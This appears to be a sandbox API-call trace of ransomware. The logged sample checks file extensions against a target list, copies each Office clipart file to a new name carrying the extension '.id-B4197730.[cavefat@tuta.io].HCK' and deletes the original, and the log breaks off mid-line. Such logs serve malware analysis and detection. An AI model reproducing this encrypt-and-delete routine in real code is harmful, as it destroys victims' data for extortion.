[0169.720] lstrlenW (lpString=".rar") returned 4 [0169.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.720] lstrlenW (lpString=".bz2") returned 4 [0169.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.720] lstrlenW (lpString=".7z") returned 3 [0169.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0169.720] lstrlenW (lpString=".dbf") returned 4 [0169.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0169.720] lstrlenW (lpString=".1cd") returned 4 [0169.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0169.720] lstrlenW (lpString=".jpg") returned 4 [0169.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0169.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0169.720] lstrlenW (lpString=".doc") returned 4 [0169.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.720] lstrlenW (lpString=".docx") returned 5 [0169.720] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.720] lstrlenW (lpString=".pdf") returned 4 [0169.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.720] lstrlenW (lpString=".xls") returned 4 [0169.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.720] lstrlenW (lpString=".xlsx") returned 5 [0169.720] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.720] lstrlenW (lpString=".ppt") returned 4 [0169.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0169.720] lstrlenW (lpString=".zip") returned 4 [0169.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.720] lstrlenW (lpString=".rar") returned 4 [0169.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.720] lstrlenW (lpString=".bz2") returned 4 [0169.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.720] lstrlenW (lpString=".7z") returned 3 [0169.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0169.720] lstrlenW (lpString=".dbf") returned 4 [0169.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0169.721] lstrlenW (lpString=".1cd") returned 4 [0169.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182898.WMF") returned 68 [0169.721] lstrlenW (lpString=".jpg") returned 4 [0169.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.721] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.721] lstrlenW (lpString="J0183174.WMF") returned 12 [0169.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.732] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=28626) returned 1 [0169.732] CloseHandle (hObject=0x354) returned 1 [0169.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf")) returned 0x220 [0169.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.765] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.765] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.774] GetLastError () returned 0x0 [0169.774] ReadFile (in: hFile=0x398, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x6fd2, lpOverlapped=0x0) returned 1 [0169.777] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x6fe0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x6fe0, lpOverlapped=0x0) returned 1 [0169.779] ReadFile (in: hFile=0x398, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.779] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.779] SetEndOfFile (hFile=0x370) returned 1 [0169.782] CloseHandle (hObject=0x370) returned 1 [0169.784] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.784] SetEndOfFile (hFile=0x398) returned 1 [0169.791] CloseHandle (hObject=0x398) returned 1 [0169.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf")) returned 1 [0169.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0169.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0169.796] lstrlenW (lpString=".doc") returned 4 [0169.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.797] lstrlenW (lpString=".docx") returned 5 [0169.797] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.797] lstrlenW (lpString=".pdf") returned 4 [0169.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.797] lstrlenW (lpString=".xls") returned 4 [0169.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.797] lstrlenW (lpString=".xlsx") returned 5 [0169.797] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.797] lstrlenW (lpString=".ppt") returned 4 [0169.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0169.797] lstrlenW (lpString=".zip") returned 4 [0169.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.797] lstrlenW (lpString=".rar") returned 4 [0169.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.797] lstrlenW (lpString=".bz2") returned 4 [0169.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.797] lstrlenW (lpString=".7z") returned 3 [0169.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0169.797] lstrlenW (lpString=".dbf") returned 4 [0169.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0169.797] lstrlenW (lpString=".1cd") returned 4 [0169.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0169.797] lstrlenW (lpString=".jpg") returned 4 [0169.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0169.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0169.797] lstrlenW (lpString=".doc") returned 4 [0169.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.797] lstrlenW (lpString=".docx") returned 5 [0169.797] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.797] lstrlenW (lpString=".pdf") returned 4 [0169.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.797] lstrlenW (lpString=".xls") returned 4 [0169.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.797] lstrlenW (lpString=".xlsx") returned 5 [0169.797] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.797] lstrlenW (lpString=".ppt") returned 4 [0169.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0169.797] lstrlenW (lpString=".zip") returned 4 [0169.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.797] lstrlenW (lpString=".rar") returned 4 [0169.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.797] lstrlenW (lpString=".bz2") returned 4 [0169.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.797] lstrlenW (lpString=".7z") returned 3 [0169.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0169.797] lstrlenW (lpString=".dbf") returned 4 [0169.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0169.798] lstrlenW (lpString=".1cd") returned 4 [0169.798] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF") returned 68 [0169.798] lstrlenW (lpString=".jpg") returned 4 [0169.798] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.798] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.798] lstrlenW (lpString="J0185774.WMF") returned 12 [0169.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.801] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=20038) returned 1 [0169.801] CloseHandle (hObject=0x2ec) returned 1 [0169.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf")) returned 0x220 [0169.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.812] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.812] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.820] GetLastError () returned 0x0 [0169.820] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4e46, lpOverlapped=0x0) returned 1 [0169.822] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4e50, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4e50, lpOverlapped=0x0) returned 1 [0169.822] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.823] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.823] SetEndOfFile (hFile=0x370) returned 1 [0169.824] CloseHandle (hObject=0x370) returned 1 [0169.824] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.824] SetEndOfFile (hFile=0x354) returned 1 [0169.832] CloseHandle (hObject=0x354) returned 1 [0169.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf")) returned 1 [0169.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0169.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0169.835] lstrlenW (lpString=".doc") returned 4 [0169.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.835] lstrlenW (lpString=".docx") returned 5 [0169.836] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.836] lstrlenW (lpString=".pdf") returned 4 [0169.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.836] lstrlenW (lpString=".xls") returned 4 [0169.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.836] lstrlenW (lpString=".xlsx") returned 5 [0169.836] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.836] lstrlenW (lpString=".ppt") returned 4 [0169.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0169.836] lstrlenW (lpString=".zip") returned 4 [0169.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.836] lstrlenW (lpString=".rar") returned 4 [0169.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.836] lstrlenW (lpString=".bz2") returned 4 [0169.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.836] lstrlenW (lpString=".7z") returned 3 [0169.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0169.836] lstrlenW (lpString=".dbf") returned 4 [0169.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0169.836] lstrlenW (lpString=".1cd") returned 4 [0169.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0169.836] lstrlenW (lpString=".jpg") returned 4 [0169.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0169.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0169.836] lstrlenW (lpString=".doc") returned 4 [0169.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.836] lstrlenW (lpString=".docx") returned 5 [0169.836] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.836] lstrlenW (lpString=".pdf") returned 4 [0169.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.836] lstrlenW (lpString=".xls") returned 4 [0169.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.836] lstrlenW (lpString=".xlsx") returned 5 [0169.836] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.836] lstrlenW (lpString=".ppt") returned 4 [0169.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0169.836] lstrlenW (lpString=".zip") returned 4 [0169.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.836] lstrlenW (lpString=".rar") returned 4 [0169.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.836] lstrlenW (lpString=".bz2") returned 4 [0169.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.836] lstrlenW (lpString=".7z") returned 3 [0169.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0169.836] lstrlenW (lpString=".dbf") returned 4 [0169.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0169.837] lstrlenW (lpString=".1cd") returned 4 [0169.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF") returned 68 [0169.837] lstrlenW (lpString=".jpg") returned 4 [0169.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.837] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.837] lstrlenW (lpString="J0185786.WMF") returned 12 [0169.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.840] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=39330) returned 1 [0169.840] CloseHandle (hObject=0x354) returned 1 [0169.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf")) returned 0x220 [0169.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.847] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.847] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.856] GetLastError () returned 0x0 [0169.856] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x99a2, lpOverlapped=0x0) returned 1 [0169.858] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x99b0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x99b0, lpOverlapped=0x0) returned 1 [0169.859] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.859] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.859] SetEndOfFile (hFile=0x2ec) returned 1 [0169.863] CloseHandle (hObject=0x2ec) returned 1 [0169.868] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.868] SetEndOfFile (hFile=0x354) returned 1 [0169.870] CloseHandle (hObject=0x354) returned 1 [0169.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185786.wmf")) returned 1 [0169.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0169.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0169.876] lstrlenW (lpString=".doc") returned 4 [0169.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.876] lstrlenW (lpString=".docx") returned 5 [0169.876] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0169.876] lstrlenW (lpString=".pdf") returned 4 [0169.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.876] lstrlenW (lpString=".xls") returned 4 [0169.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.876] lstrlenW (lpString=".xlsx") returned 5 [0169.876] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0169.876] lstrlenW (lpString=".ppt") returned 4 [0169.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0169.876] lstrlenW (lpString=".zip") returned 4 [0169.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.876] lstrlenW (lpString=".rar") returned 4 [0169.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.876] lstrlenW (lpString=".bz2") returned 4 [0169.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.876] lstrlenW (lpString=".7z") returned 3 [0169.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185786.WMF") returned 68 [0169.876] lstrlenW (lpString=".dbf") returned 4 [0169.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.876] lstrlenW (lpString="C:\\Program Files\\Microsoft 